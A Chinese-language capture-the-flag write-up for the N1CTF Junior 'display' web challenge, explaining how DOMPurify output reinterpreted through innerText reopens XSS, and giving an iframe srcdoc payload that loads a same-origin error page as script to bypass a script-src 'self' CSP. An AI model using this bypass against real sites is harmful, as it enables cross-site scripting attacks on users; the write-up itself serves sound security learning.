CTF-WEB: 利用iframe标签利用xss,waf过滤后再转换漏洞-- N1ctf Junior display
核心逻辑
// 获取 URL 查询参数的值
function getQueryParam(param) {
// 使用 URLSearchParams 从 URL 查询字符串中提取参数
const urlParams = new URLSearchParams(window.location.search);
// 返回查询参数的值
return urlParams.get(param);
}
// 使用 DOMPurify 对内容进行清理(sanitize),防止 XSS 攻击
function sanitizeContent(text) {
// 只允许 <h1>, <h2> 标签和纯文本
const config = {
ALLOWED_TAGS: ['h1', 'h2'] // 配置允许的标签
};
// 返回清理后的内容,DOMPurify 会移除不允许的标签和潜在的危险内容
return DOMPurify.sanitize(text, config);
}
// 当 DOM 完全加载后执行的代码
document.addEventListener("DOMContentLoaded", function() {
// 获取页面中输入框、按钮和内容显示区域的 DOM 元素
const textInput = document.getElementById('text-input');
const insertButton = document.getElementById('insert-btn');
const contentDisplay = document.getElementById('content-display');
// 获取 URL 查询参数中的 'text' 参数
const queryText = getQueryParam('text');
// 如果查询参数 'text' 存在
if (queryText) {
// 解码并清理传入的文本,atob 用于解码 base64,decodeURI 处理 URL 编码
const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));
// 如果清理后的文本不为空
if (sanitizedText.length > 0) {
// 将清理后的文本设置为输入框的内容(innerHTML 用于处理 HTML 标签)
textInput.innerHTML = sanitizedText;
// 将清理后的文本设置为预览区的显示内容
contentDisplay.innerHTML = textInput.innerText;
// 启用插入按钮
insertButton.disabled = false;
} else {
// 如果清理后的文本为空,显示警告信息
textInput.innerText = "Only allow h1, h2 tags and plain text";
}
}
});
过滤后再转换,sanitizedText
在经过.innerText
时其中的HTML实体会被转换为字符串。
当访问不存在页面时会返回路径名,可以利用这一点来构造脚本执行
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5
/1 : invalid path
使用<iframe srcdoc=url>
来在属性值中嵌入 HTML 内容,并在其中嵌套<script src=url>
来绕过安全策略,使用**/
与 //
闭合
<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>
- 注意字符串包裹方式依次为
"
'
` - 因为js支持使用反引号包裹字符串
参考
2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog